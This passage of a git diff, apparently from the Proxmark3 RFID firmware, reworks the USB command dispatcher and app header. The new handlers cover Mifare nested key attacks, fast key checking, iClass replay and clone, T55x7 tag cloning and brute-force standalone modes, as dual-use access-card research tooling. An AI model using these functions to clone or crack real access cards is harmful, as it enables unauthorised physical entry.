MifareUReadCard(c->arg[0],c->d.asBytes); - break; + MifareUReadCard(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); + break; + case CMD_MIFAREUC_SETPWD: + MifareUSetPwd(c->arg[0], c->d.asBytes); + break; case CMD_MIFARE_READSC: MifareReadSector(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); break; case CMD_MIFARE_WRITEBL: MifareWriteBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); break; - case CMD_MIFAREU_WRITEBL_COMPAT: - MifareUWriteBlock(c->arg[0], c->d.asBytes); - break; + //case CMD_MIFAREU_WRITEBL_COMPAT: + //MifareUWriteBlockCompat(c->arg[0], c->d.asBytes); + //break; case CMD_MIFAREU_WRITEBL: - MifareUWriteBlock_Special(c->arg[0], c->d.asBytes); - break; + MifareUWriteBlock(c->arg[0], c->arg[1], c->d.asBytes); + break; + case CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES: + MifareAcquireEncryptedNonces(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); + break; + case CMD_MIFARE_ACQUIRE_NONCES: + MifareAcquireNonces(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); + break; case CMD_MIFARE_NESTED: MifareNested(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); break; - case CMD_MIFARE_CHKKEYS: + case CMD_MIFARE_CHKKEYS: { MifareChkKeys(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); break; + } + case CMD_MIFARE_CHKKEYS_FAST: { + MifareChkKeys_fast(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); + break; + } case CMD_SIMULATE_MIFARE_CARD: Mifare1ksim(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); break; // emulator case CMD_MIFARE_SET_DBGMODE: - MifareSetDbgLvl(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); + MifareSetDbgLvl(c->arg[0]); break; case CMD_MIFARE_EML_MEMCLR: MifareEMemClr(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); @@ -843,23 +932,53 @@ void UsbPacketReceived(uint8_t *packet, int len) break; // Work with "magic Chinese" card - case CMD_MIFARE_EML_CSETBLOCK: - MifareCSetBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); + case CMD_MIFARE_CSETBLOCK: + MifareCSetBlock(c->arg[0], c->arg[1], c->d.asBytes); break; - case CMD_MIFARE_EML_CGETBLOCK: - MifareCGetBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); + case CMD_MIFARE_CGETBLOCK: + MifareCGetBlock(c->arg[0], c->arg[1], c->d.asBytes); + break; + case CMD_MIFARE_CIDENT: + MifareCIdent(); break; - // mifare sniffer - case CMD_MIFARE_SNIFFER: - SniffMifare(c->arg[0]); +// case CMD_MIFARE_SNIFFER: + //SniffMifare(c->arg[0]); +// break; + case CMD_MIFARE_SETMOD: + MifareSetMod(c->arg[0], c->d.asBytes); + break; + //mifare desfire + case CMD_MIFARE_DESFIRE_READBL: + break; + case CMD_MIFARE_DESFIRE_WRITEBL: + break; + case CMD_MIFARE_DESFIRE_AUTH1: + MifareDES_Auth1(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); + break; + case CMD_MIFARE_DESFIRE_AUTH2: + //MifareDES_Auth2(c->arg[0],c->d.asBytes); + break; + case CMD_MIFARE_DES_READER: + //readermifaredes(c->arg[0], c->arg[1], c->d.asBytes); + break; + case CMD_MIFARE_DESFIRE_INFO: + MifareDesfireGetInformation(); + break; + case CMD_MIFARE_DESFIRE: + MifareSendCommand(c->arg[0], c->arg[1], c->d.asBytes); + break; + case CMD_MIFARE_COLLECT_NONCES: + break; + case CMD_MIFARE_NACK_DETECT: + DetectNACKbug(); break; #endif #ifdef WITH_ICLASS // Makes use of ISO14443a FPGA Firmware case CMD_SNOOP_ICLASS: - SnoopIClass(); + SniffIClass(); break; case CMD_SIMULATE_TAG_ICLASS: SimulateIClass(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); @@ -867,14 +986,90 @@ void UsbPacketReceived(uint8_t *packet, int len) case CMD_READER_ICLASS: ReaderIClass(c->arg[0]); break; + case CMD_READER_ICLASS_REPLAY: + ReaderIClass_Replay(c->arg[0], c->d.asBytes); + break; + case CMD_ICLASS_EML_MEMSET: + //iceman, should call FPGADOWNLOAD before, since it corrupts BigBuf + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + emlSet(c->d.asBytes, c->arg[0], c->arg[1]); + break; + case CMD_ICLASS_WRITEBLOCK: + iClass_WriteBlock(c->arg[0], c->d.asBytes); + break; + case CMD_ICLASS_READCHECK: // auth step 1 + iClass_ReadCheck(c->arg[0], c->arg[1]); + break; + case CMD_ICLASS_READBLOCK: + iClass_ReadBlk(c->arg[0]); + break; + case CMD_ICLASS_AUTHENTICATION: //check + iClass_Authentication(c->d.asBytes); + break; + case CMD_ICLASS_CHECK_KEYS: + iClass_Authentication_fast(c->arg[0], c->arg[1], c->d.asBytes); + break; + case CMD_ICLASS_DUMP: + iClass_Dump(c->arg[0], c->arg[1]); + break; + case CMD_ICLASS_CLONE: + iClass_Clone(c->arg[0], c->arg[1], c->d.asBytes); + break; #endif - case CMD_SIMULATE_TAG_HF_LISTEN: - SimulateTagHfListen(); +#ifdef WITH_HFSNOOP + case CMD_HF_SNIFFER: + HfSnoop(c->arg[0], c->arg[1]); break; +#endif +#ifdef WITH_SMARTCARD + case CMD_SMART_ATR: { + SmartCardAtr(); + break; + } + case CMD_SMART_SETBAUD:{ + SmartCardSetBaud(c->arg[0]); + break; + } + case CMD_SMART_SETCLOCK:{ + SmartCardSetClock(c->arg[0]); + break; + } + case CMD_SMART_RAW: { + SmartCardRaw(c->arg[0], c->arg[1], c->d.asBytes); + break; + } + case CMD_SMART_UPLOAD: { + // upload file from client + uint8_t *mem = BigBuf_get_addr(); + memcpy( mem + c->arg[0], c->d.asBytes, USB_CMD_DATA_SIZE); + cmd_send(CMD_ACK,1,0,0,0,0); + break; + } + case CMD_SMART_UPGRADE: { + SmartCardUpgrade(c->arg[0]); + break; + } +#endif + +#ifdef WITH_FPC + case CMD_FPC_SEND: { +// char header[] = {"*** Iceman Usart ***"}; +// uint32_t res = usart_writebuffer((uint8_t *)header, sizeof(header), 10000); + + //temp++; + uint8_t got = usart_read(10000); + if ( got > 0 ) { + Dbprintf("got %02x", got); + usart_write(got, 10000); + } + cmd_send(CMD_ACK,0,0,0,0,0); + break; + } +#endif case CMD_BUFF_CLEAR: - BufferClear(); + BigBuf_Clear(); break; case CMD_MEASURE_ANTENNA_TUNING: @@ -894,43 +1089,215 @@ void UsbPacketReceived(uint8_t *packet, int len) SpinDelay(200); LED_D_OFF(); // LED D indicates field ON or OFF break; - - case CMD_DOWNLOAD_RAW_ADC_SAMPLES_125K: -// UsbCommand n; -// if(c->cmd == CMD_DOWNLOAD_RAW_ADC_SAMPLES_125K) { -// n.cmd = CMD_DOWNLOADED_RAW_ADC_SAMPLES_125K; -// } else { -// n.cmd = CMD_DOWNLOADED_RAW_BITS_TI_TYPE; -// } -// n.arg[0] = c->arg[0]; - // memcpy(n.d.asBytes, BigBuf+c->arg[0], 48); // 12*sizeof(uint32_t) - // LED_B_ON(); - // usb_write((uint8_t *)&n, sizeof(n)); - // UsbSendPacket((uint8_t *)&n, sizeof(n)); - // LED_B_OFF(); - +#ifdef WITH_LF + case CMD_DOWNLOAD_RAW_ADC_SAMPLES_125K: { LED_B_ON(); - for(size_t i=0; iarg[1]; i += USB_CMD_DATA_SIZE) { - size_t len = MIN((c->arg[1] - i),USB_CMD_DATA_SIZE); - cmd_send(CMD_DOWNLOADED_RAW_ADC_SAMPLES_125K,i,len,0,((byte_t*)BigBuf)+c->arg[0]+i,len); + uint8_t *mem = BigBuf_get_addr(); + bool isok = false; + size_t len = 0; + uint32_t startidx = c->arg[0]; + uint32_t numofbytes = c->arg[1]; + // arg0 = startindex + // arg1 = length bytes to transfer + // arg2 = BigBuf tracelen + //Dbprintf("transfer to client parameters: %" PRIu32 " | %" PRIu32 " | %" PRIu32, startidx, numofbytes, c->arg[2]); + + for(size_t i = 0; i < numofbytes; i += USB_CMD_DATA_SIZE) { + len = MIN( (numofbytes - i), USB_CMD_DATA_SIZE); + isok = cmd_send(CMD_DOWNLOADED_RAW_ADC_SAMPLES_125K, i, len, BigBuf_get_traceLen(), mem + startidx + i, len); + if (!isok) + Dbprintf("transfer to client failed :: | bytes between %d - %d", i, len); } // Trigger a finish downloading signal with an ACK frame - cmd_send(CMD_ACK,0,0,0,0,0); + // iceman, when did sending samplingconfig array got attached here?!? + // arg0 = status of download transfer + // arg1 = RFU + // arg2 = tracelen? + // asbytes = samplingconfig array + cmd_send(CMD_ACK, 1, 0, BigBuf_get_traceLen(), getSamplingConfig(), sizeof(sample_config)); LED_B_OFF(); break; - - case CMD_DOWNLOADED_SIM_SAMPLES_125K: { - uint8_t *b = (uint8_t *)BigBuf; - memcpy(b+c->arg[0], c->d.asBytes, 48); - //Dbprintf("copied 48 bytes to %i",b+c->arg[0]); -// UsbSendPacket((uint8_t*)&ack, sizeof(ack)); - cmd_send(CMD_ACK,0,0,0,0,0); + } +#endif + case CMD_UPLOAD_SIM_SAMPLES_125K: { + // iceman; since changing fpga_bitstreams clears bigbuff, Its better to call it before. + // to be able to use this one for uploading data to device + // arg1 = 0 upload for LF usage + // 1 upload for HF usage + #define FPGA_LF 1 + if ( c->arg[1] == FPGA_LF ) + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + else + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + + uint8_t *mem = BigBuf_get_addr(); + memcpy( mem + c->arg[0], c->d.asBytes, USB_CMD_DATA_SIZE); + cmd_send(CMD_ACK,1,0,0,0,0); break; - } + } + case CMD_DOWNLOAD_EML_BIGBUF: { + LED_B_ON(); + uint8_t *mem = BigBuf_get_EM_addr(); + bool isok = false; + size_t len = 0; + uint32_t startidx = c->arg[0]; + uint32_t numofbytes = c->arg[1]; + + // arg0 = startindex + // arg1 = length bytes to transfer + // arg2 = RFU + //Dbprintf("transfer to client parameters: %" PRIu32 " | %" PRIu32 " | %" PRIu32, startidx, numofbytes, c->arg[2]); + + for (size_t i = 0; i < numofbytes; i += USB_CMD_DATA_SIZE) { + len = MIN((numofbytes - i), USB_CMD_DATA_SIZE); + isok = cmd_send(CMD_DOWNLOADED_EML_BIGBUF, i, len, 0, mem + startidx + i, len); + if (!isok) + Dbprintf("transfer to client failed :: | bytes between %d - %d", i, len); + } + // Trigger a finish downloading signal with an ACK frame + cmd_send(CMD_ACK, 1, 0, 0, 0, 0); + LED_B_OFF(); + break; + } case CMD_READ_MEM: ReadMem(c->arg[0]); break; +#ifdef WITH_FLASH + case CMD_READ_FLASH_MEM: { + LED_B_ON(); + uint16_t isok = 0; + uint32_t startidx = c->arg[0]; + uint16_t len = c->arg[1]; + + Dbprintf("FlashMem read | %d - %d", startidx, len); + + size_t size = MIN(USB_CMD_DATA_SIZE, len); + + uint8_t *mem = BigBuf_malloc(size); + + for(size_t i = 0; i < len; i += size) { + len = MIN((len - i), size); + + Dbprintf("FlashMem reading | %d | %d | %d", startidx + i, i, len); + + isok = Flash_ReadData(startidx + i, mem, len); + if ( isok == len ) { + print_result("Chunk: ", mem, len); + } else { + Dbprintf("FlashMem reading failed | %d | %d", len, isok); + break; + } + } + LED_B_OFF(); + break; + } + case CMD_WRITE_FLASH_MEM: { + LED_B_ON(); + uint8_t isok = 0; + uint16_t res = 0; + uint32_t startidx = c->arg[0]; + uint16_t len = c->arg[1]; + uint8_t* data = c->d.asBytes; + + uint32_t tmp = startidx + len; + + // inside 256b page? + if ( (tmp & 0xFF) != 0) { + + // is offset+len larger than a page + tmp = (startidx & 0xFF ) + len; + if (tmp > 0xFF ) { + + // data spread over two pages. + + // offset xxxx10, + uint8_t first_len = (~startidx & 0xFF)+1; + + // first mem page + res = Flash_WriteData(startidx, data, first_len); + + // second mem page + res = Flash_WriteData(startidx + first_len, data + first_len, len - first_len); + + isok = (res == (len - first_len)) ? 1 : 0; + + } else { + res = Flash_WriteData(startidx, data, len); + isok = (res == len) ? 1 : 0; + } + } else { + res = Flash_WriteData(startidx, data, len); + isok = (res == len) ? 1 : 0; + } + + cmd_send(CMD_ACK, isok, 0, 0, 0, 0); + LED_B_OFF(); + break; + } + case CMD_WIPE_FLASH_MEM: { + LED_B_ON(); + uint8_t page = c->arg[0]; + uint8_t initalwipe = c->arg[1]; + bool isok = false; + if ( initalwipe ) { + isok = Flash_WipeMemory(); + cmd_send(CMD_ACK, isok, 0, 0, 0, 0); + LED_B_OFF(); + break; + } + if ( page < 3) + isok = Flash_WipeMemoryPage(page); + + cmd_send(CMD_ACK, isok, 0, 0, 0, 0); + LED_B_OFF(); + break; + } + case CMD_DOWNLOAND_FLASH_MEM: { + + LED_B_ON(); + uint8_t *mem = BigBuf_malloc(USB_CMD_DATA_SIZE); + bool isok = false; + size_t len = 0; + uint32_t startidx = c->arg[0]; + uint32_t numofbytes = c->arg[1]; + // arg0 = startindex + // arg1 = length bytes to transfer + // arg2 = RFU + for (size_t i = 0; i < numofbytes; i += USB_CMD_DATA_SIZE) { + len = MIN((numofbytes - i), USB_CMD_DATA_SIZE); + + isok = Flash_ReadData(startidx + i, mem, len); + if (!isok ) + Dbprintf("reading flash memory failed :: | bytes between %d - %d", i, len); + + isok = cmd_send(CMD_DOWNLOADED_FLASHMEM, i, len, 0, mem, len); + if (!isok) + Dbprintf("transfer to client failed :: | bytes between %d - %d", i, len); + } + + cmd_send(CMD_ACK, 1, 0, 0, 0, 0); + LED_B_OFF(); + break; + } + case CMD_INFO_FLASH_MEM: { + + LED_B_ON(); + rdv40_validation_t *info = (rdv40_validation_t*)BigBuf_malloc( sizeof(rdv40_validation_t) ); + + bool isok = Flash_ReadData(FLASH_MEM_SIGNATURE_OFFSET, info->signature, FLASH_MEM_SIGNATURE_LEN); + + if (FlashInit()) { + Flash_UniqueID( info->flashid); + FlashStop(); + } + cmd_send(CMD_ACK, isok, 0, 0, info, sizeof(rdv40_validation_t)); + BigBuf_free(); + + LED_B_OFF(); + break; + } +#endif case CMD_SET_LF_DIVISOR: FpgaDownloadAndGo(FPGA_BITSTREAM_LF); FpgaSendCommand(FPGA_CMD_SET_DIVISOR, c->arg[0]); @@ -939,16 +1306,23 @@ void UsbPacketReceived(uint8_t *packet, int len) case CMD_SET_ADC_MUX: switch(c->arg[0]) { case 0: SetAdcMuxFor(GPIO_MUXSEL_LOPKD); break; - case 1: SetAdcMuxFor(GPIO_MUXSEL_LORAW); break; case 2: SetAdcMuxFor(GPIO_MUXSEL_HIPKD); break; +#ifndef WITH_FPC + case 1: SetAdcMuxFor(GPIO_MUXSEL_LORAW); break; case 3: SetAdcMuxFor(GPIO_MUXSEL_HIRAW); break; - } +#endif + } break; case CMD_VERSION: SendVersion(); break; - + case CMD_STATUS: + SendStatus(); + break; + case CMD_PING: + cmd_send(CMD_ACK,0,0,0,0,0); + break; #ifdef WITH_LCD case CMD_LCD_RESET: LCDReset(); @@ -961,12 +1335,12 @@ void UsbPacketReceived(uint8_t *packet, int len) case CMD_FINISH_WRITE: case CMD_HARDWARE_RESET: usb_disable(); - SpinDelay(1000); - SpinDelay(1000); + + // (iceman) why this wait? + SpinDelay(1000); AT91C_BASE_RSTC->RSTC_RCR = RST_CONTROL_KEY | AT91C_RSTC_PROCRST; - for(;;) { - // We're going to reset, and the bootrom will take control. - } + // We're going to reset, and the bootrom will take control. + for(;;) {} break; case CMD_START_FLASH: @@ -975,26 +1349,29 @@ void UsbPacketReceived(uint8_t *packet, int len) } usb_disable(); AT91C_BASE_RSTC->RSTC_RCR = RST_CONTROL_KEY | AT91C_RSTC_PROCRST; - for(;;); + // We're going to flash, and the bootrom will take control. + for(;;) {} break; case CMD_DEVICE_INFO: { uint32_t dev_info = DEVICE_INFO_FLAG_OSIMAGE_PRESENT | DEVICE_INFO_FLAG_CURRENT_MODE_OS; - if(common_area.flags.bootrom_present) dev_info |= DEVICE_INFO_FLAG_BOOTROM_PRESENT; -// UsbSendPacket((uint8_t*)&c, sizeof(c)); + if (common_area.flags.bootrom_present) { + dev_info |= DEVICE_INFO_FLAG_BOOTROM_PRESENT; + } cmd_send(CMD_DEVICE_INFO,dev_info,0,0,0,0); break; - } + } default: - Dbprintf("%s: 0x%04x","unknown command:",c->cmd); + Dbprintf("%s: 0x%04x","unknown command:", c->cmd); break; } } -void __attribute__((noreturn)) AppMain(void) -{ - SpinDelay(100); +void __attribute__((noreturn)) AppMain(void) { + SpinDelay(100); + clear_trace(); + if(common_area.magic != COMMON_AREA_MAGIC || common_area.version != 1) { /* Initialize common area */ memset(&common_area, 0, sizeof(common_area)); @@ -1003,56 +1380,84 @@ void __attribute__((noreturn)) AppMain(void) } common_area.flags.osimage_present = 1; - LED_D_OFF(); - LED_C_OFF(); - LED_B_OFF(); - LED_A_OFF(); - - // Init USB device` - usb_enable(); -// UsbStart(); + LEDsoff(); + + usb_enable(); // The FPGA gets its clock from us from PCK0 output, so set that up. AT91C_BASE_PIOA->PIO_BSR = GPIO_PCK0; AT91C_BASE_PIOA->PIO_PDR = GPIO_PCK0; - AT91C_BASE_PMC->PMC_SCER = AT91C_PMC_PCK0; + AT91C_BASE_PMC->PMC_SCER |= AT91C_PMC_PCK0; // PCK0 is PLL clock / 4 = 96Mhz / 4 = 24Mhz - AT91C_BASE_PMC->PMC_PCKR[0] = AT91C_PMC_CSS_PLL_CLK | - AT91C_PMC_PRES_CLK_4; + AT91C_BASE_PMC->PMC_PCKR[0] = AT91C_PMC_CSS_PLL_CLK | AT91C_PMC_PRES_CLK_4; // 4 for 24Mhz pck0, 2 for 48 MHZ pck0 AT91C_BASE_PIOA->PIO_OER = GPIO_PCK0; // Reset SPI AT91C_BASE_SPI->SPI_CR = AT91C_SPI_SWRST; + AT91C_BASE_SPI->SPI_CR = AT91C_SPI_SWRST; // errata says it needs twice to be correctly set. + // Reset SSC AT91C_BASE_SSC->SSC_CR = AT91C_SSC_SWRST; + // Configure MUX + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + // Load the FPGA image, which we have stored in our flash. // (the HF version by default) FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - + StartTickCount(); #ifdef WITH_LCD LCDInit(); #endif - byte_t rx[sizeof(UsbCommand)]; - size_t rx_len; - - for(;;) { - if (usb_poll()) { - rx_len = usb_read(rx,sizeof(UsbCommand)); - if (rx_len) { - UsbPacketReceived(rx,rx_len); - } - } -// UsbPoll(FALSE); - - WDT_HIT(); - -#ifdef WITH_LF - if (BUTTON_HELD(1000) > 0) - SamyRun(); +#ifdef WITH_SMARTCARD + I2C_init(); #endif + +#ifdef WITH_FPC + usart_init(); +#endif + uint8_t rx[sizeof(UsbCommand)]; + + for(;;) { + WDT_HIT(); + +#ifdef WITH_FPC + // check if there is a FPC USART1 message? + /* + uint32_t fpc_rxlen = usart_read(rx, sizeof(UsbCommand)); + if ( fpc_rxlen > 0) + Dbprintf("got a package [len %d] %02x", fpc_rxlen, rx[0]); + */ +#endif + + // Check if there is a usb packet available + if ( cmd_receive( (UsbCommand*)rx ) ) { + UsbPacketReceived(rx, sizeof(UsbCommand) ); + } + + // Press button for one second to enter a possible standalone mode + if (BUTTON_HELD(1000) > 0) { + +/* +* So this is the trigger to execute a standalone mod. Generic entrypoint by following the standalone/standalone.h headerfile +* All standalone mod "main loop" should be the RunMod() function. +* Since the standalone is either LF or HF, the somewhat bisarr defines below exists. +*/ +#if defined (WITH_LF) && ( defined (WITH_LF_SAMYRUN) || defined (WITH_LF_HIDBRUTE) || defined (WITH_LF_PROXBRUTE) ) + RunMod(); +#endif + +#if defined (WITH_ISO14443a) && ( defined (WITH_HF_YOUNG) || defined(WITH_HF_COLIN) || defined(WITH_HF_MATTYRUN) ) + RunMod(); +#endif + + // when here, we are no longer in standalone mode. + // reseting the variables which keeps track of usb re-attached/configured + //SetUSBreconnect(0); + //SetUSBconfigured(0); + } } } diff --git a/armsrc/apps.h b/armsrc/apps.h index 1ef0e4729..7852d1439 100644 --- a/armsrc/apps.h +++ b/armsrc/apps.h @@ -8,34 +8,31 @@ //----------------------------------------------------------------------------- // Definitions internal to the app source. //----------------------------------------------------------------------------- - #ifndef __APPS_H #define __APPS_H -#include -#include -#include "common.h" -#include "hitag2.h" -#include "mifare.h" +#ifdef __cplusplus +extern "C" { +#endif -// The large multi-purpose buffer, typically used to hold A/D samples, -// maybe processed in some way. -uint32_t BigBuf[10000]; -// BIG CHANGE - UNDERSTAND THIS BEFORE WE COMMIT -#define TRACE_OFFSET 0 -#define TRACE_SIZE 3000 -#define RECV_CMD_OFFSET 3032 -#define RECV_CMD_SIZE 64 -#define RECV_RES_OFFSET 3096 -#define RECV_RES_SIZE 64 -#define DMA_BUFFER_OFFSET 3160 -#define DMA_BUFFER_SIZE 4096 -#define FREE_BUFFER_OFFSET 7256 -#define FREE_BUFFER_SIZE 2744 +#include +#include +#include "common.h" +#include "usb_cdc.h" +#include "crc32.h" +#include "lfdemod.h" +#include "BigBuf.h" +#include "fpgaloader.h" +#include "hitag2.h" +#include "hitagS.h" +#include "mifare.h" +#include "pcf7931.h" +#include "desfire.h" +#include "iso14443b.h" +#include "Standalone/standalone.h" +#include "flashmem.h" extern const uint8_t OddByteParity[256]; -extern uint8_t *trace; // = (uint8_t *) BigBuf; -extern int traceLen; // = 0; extern int rsamples; // = 0; extern int tracing; // = TRUE; extern uint8_t trigger; @@ -47,170 +44,207 @@ extern uint8_t trigger; /// appmain.h void ReadMem(int addr); void __attribute__((noreturn)) AppMain(void); -void SamyRun(void); //void DbpIntegers(int a, int b, int c); void DbpString(char *str); void Dbprintf(const char *fmt, ...); +void DbprintfEx(uint32_t cmd, const char *fmt, ...); void Dbhexdump(int len, uint8_t *d, bool bAsci); -int AvgAdc(int ch); +// ADC Vref = 3300mV, and an (10M+1M):1M voltage divider on the HF input can measure voltages up to 36300 mV +#define MAX_ADC_HF_VOLTAGE 36300 +// ADC Vref = 3300mV, (240k-10M):240k voltage divider, 140800 mV +#define MAX_ADC_HF_VOLTAGE_RDV40 140800 +// ADC Vref = 3300mV, and an (10000k+240k):240k voltage divider on the LF input can measure voltages up to 140800 mV +#define MAX_ADC_LF_VOLTAGE 140800 +uint16_t AvgAdc(int ch); +void print_result(char *name, uint8_t *buf, size_t len); +void PrintToSendBuffer(void); void ToSendStuffBit(int b); void ToSendReset(void); void ListenReaderField(int limit); -void AcquireRawAdcSamples125k(int at134khz); -void SnoopLFRawAdcSamples(int divisor, int trigger_threshold); -void DoAcquisition125k(int trigger_threshold); extern int ToSendMax; extern uint8_t ToSend[]; -extern uint32_t BigBuf[]; -/// fpga.h -void FpgaSendCommand(uint16_t cmd, uint16_t v); -void FpgaWriteConfWord(uint8_t v); -void FpgaDownloadAndGo(int bitstream_version); -int FpgaGatherBitstreamVersion(); -void FpgaGatherVersion(char *dst, int len); -void FpgaSetupSsc(void); -void SetupSpi(int mode); -bool FpgaSetupSscDma(uint8_t *buf, int len); -#define FpgaDisableSscDma(void) AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS; -#define FpgaEnableSscDma(void) AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTEN; -void SetAdcMuxFor(uint32_t whichGpio); - -// Definitions for the FPGA commands. -#define FPGA_CMD_SET_CONFREG (1<<12) -#define FPGA_CMD_SET_DIVISOR (2<<12) -#define FPGA_CMD_SET_USER_BYTE1 (3<<12) -// Definitions for the FPGA configuration word. -// LF -#define FPGA_MAJOR_MODE_LF_ADC (0<<5) -#define FPGA_MAJOR_MODE_LF_EDGE_DETECT (1<<5) -#define FPGA_MAJOR_MODE_LF_PASSTHRU (2<<5) -// HF -#define FPGA_MAJOR_MODE_HF_READER_TX (0<<5) -#define FPGA_MAJOR_MODE_HF_READER_RX_XCORR (1<<5) -#define FPGA_MAJOR_MODE_HF_SIMULATOR (2<<5) -#define FPGA_MAJOR_MODE_HF_ISO14443A (3<<5) -// BOTH -#define FPGA_MAJOR_MODE_OFF (7<<5) -// Options for LF_ADC -#define FPGA_LF_ADC_READER_FIELD (1<<0) -// Options for LF_EDGE_DETECT -#define FPGA_CMD_SET_EDGE_DETECT_THRESHOLD FPGA_CMD_SET_USER_BYTE1 -#define FPGA_LF_EDGE_DETECT_READER_FIELD (1<<0) -#define FPGA_LF_EDGE_DETECT_TOGGLE_MODE (1<<1) -// Options for the HF reader, tx to tag -#define FPGA_HF_READER_TX_SHALLOW_MOD (1<<0) -// Options for the HF reader, correlating against rx from tag -#define FPGA_HF_READER_RX_XCORR_848_KHZ (1<<0) -#define FPGA_HF_READER_RX_XCORR_SNOOP (1<<1) -#define FPGA_HF_READER_RX_XCORR_QUARTER_FREQ (1<<2) -// Options for the HF simulated tag, how to modulate -#define FPGA_HF_SIMULATOR_NO_MODULATION (0<<0) -#define FPGA_HF_SIMULATOR_MODULATE_BPSK (1<<0) -#define FPGA_HF_SIMULATOR_MODULATE_212K (2<<0) -#define FPGA_HF_SIMULATOR_MODULATE_424K (4<<0) -// Options for ISO14443A -#define FPGA_HF_ISO14443A_SNIFFER (0<<0) -#define FPGA_HF_ISO14443A_TAGSIM_LISTEN (1<<0) -#define FPGA_HF_ISO14443A_TAGSIM_MOD (2<<0) -#define FPGA_HF_ISO14443A_READER_LISTEN (3<<0) -#define FPGA_HF_ISO14443A_READER_MOD (4<<0) +extern void StandAloneMode(void); +extern void printStandAloneModes(void); /// lfops.h +extern uint8_t decimation; +extern uint8_t bits_per_sample ; +extern bool averaging; + void AcquireRawAdcSamples125k(int divisor); -void ModThenAcquireRawAdcSamples125k(int delay_off,int period_0,int period_1,uint8_t *command); +void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint32_t period_1, uint8_t *command); void ReadTItag(void); void WriteTItag(uint32_t idhi, uint32_t idlo, uint16_t crc); + void AcquireTiType(void); void AcquireRawBitsTI(void); +void SimulateTagLowFrequencyEx(int period, int gap, int ledcontrol, int numcycles); void SimulateTagLowFrequency(int period, int gap, int ledcontrol); -void CmdHIDsimTAG(int hi, int lo, int ledcontrol); -void CmdHIDdemodFSK(int findone, int *high, int *low, int ledcontrol); -void CmdIOdemodFSK(int findone, int *high, int *low, int ledcontrol); -void CopyIOtoT55x7(uint32_t hi, uint32_t lo, uint8_t longFMT); // Clone an ioProx card to T5557/T5567 void SimulateTagLowFrequencyBidir(int divisor, int max_bitlen); +void CmdHIDsimTAGEx(uint32_t hi, uint32_t lo, int ledcontrol, int numcycles); +void CmdHIDsimTAG(uint32_t hi, uint32_t lo, int ledcontrol); +void CmdFSKsimTAG(uint16_t arg1, uint16_t arg2, size_t size, uint8_t *BitStream); +void CmdASKsimTag(uint16_t arg1, uint16_t arg2, size_t size, uint8_t *BitStream); +void CmdPSKsimTag(uint16_t arg1, uint16_t arg2, size_t size, uint8_t *BitStream); +void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol); +void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol); // Realtime demodulation mode for AWID26 +void CmdEM410xdemod(int findone, uint32_t *high, uint64_t *low, int ledcontrol); +void CmdIOdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol); +void CopyIOtoT55x7(uint32_t hi, uint32_t lo); // Clone an ioProx card to T5557/T5567 void CopyHIDtoT55x7(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT); // Clone an HID card to T5557/T5567 +void CopyVikingtoT55xx(uint32_t block1, uint32_t block2, uint8_t Q5); void WriteEM410x(uint32_t card, uint32_t id_hi, uint32_t id_lo); -void CopyIndala64toT55x7(int hi, int lo); // Clone Indala 64-bit tag by UID to T55x7 -void CopyIndala224toT55x7(int uid1, int uid2, int uid3, int uid4, int uid5, int uid6, int uid7); // Clone Indala 224-bit tag by UID to T55x7 -void T55xxWriteBlock(uint32_t Data, uint32_t Block, uint32_t Pwd, uint8_t PwdMode); -void T55xxReadBlock(uint32_t Block, uint32_t Pwd, uint8_t PwdMode ); -void T55xxReadTrace(void); -int DemodPCF7931(uint8_t **outBlocks); -int IsBlock0PCF7931(uint8_t *Block); -int IsBlock1PCF7931(uint8_t *Block); -void ReadPCF7931(); -void EM4xReadWord(uint8_t Address, uint32_t Pwd, uint8_t PwdMode); -void EM4xWriteWord(uint32_t Data, uint8_t Address, uint32_t Pwd, uint8_t PwdMode); +void CopyIndala64toT55x7(uint32_t hi, uint32_t lo); // Clone Indala 64-bit tag by UID to T55x7 +void CopyIndala224toT55x7(uint32_t uid1, uint32_t uid2, uint32_t uid3, uint32_t uid4, uint32_t uid5, uint32_t uid6, uint32_t uid7); // Clone Indala 224-bit tag by UID to T55x7 +void T55xxResetRead(void); +void T55xxWriteBlock(uint32_t Data, uint8_t Block, uint32_t Pwd, uint8_t PwdMode); +void T55xxWriteBlockExt(uint32_t Data, uint8_t Block, uint32_t Pwd, uint8_t PwdMode); +void T55xxReadBlock(uint16_t arg0, uint8_t Block, uint32_t Pwd); +void T55xxWakeUp(uint32_t Pwd); +void TurnReadLFOn(uint32_t delay); +void EM4xReadWord(uint8_t addr, uint32_t pwd, uint8_t usepwd); +void EM4xWriteWord(uint32_t flag, uint32_t data, uint32_t pwd); +void Cotag(uint32_t arg0); -/// iso14443.h -void SimulateIso14443Tag(void); -void AcquireRawAdcSamplesIso14443(uint32_t parameter); -void ReadSTMemoryIso14443(uint32_t); -void RAMFUNC SnoopIso14443(void); +/// iso14443b.h +void SimulateIso14443bTag(uint32_t pupi); +void AcquireRawAdcSamplesIso14443b(uint32_t parameter); +void ReadSTMemoryIso14443b(uint8_t 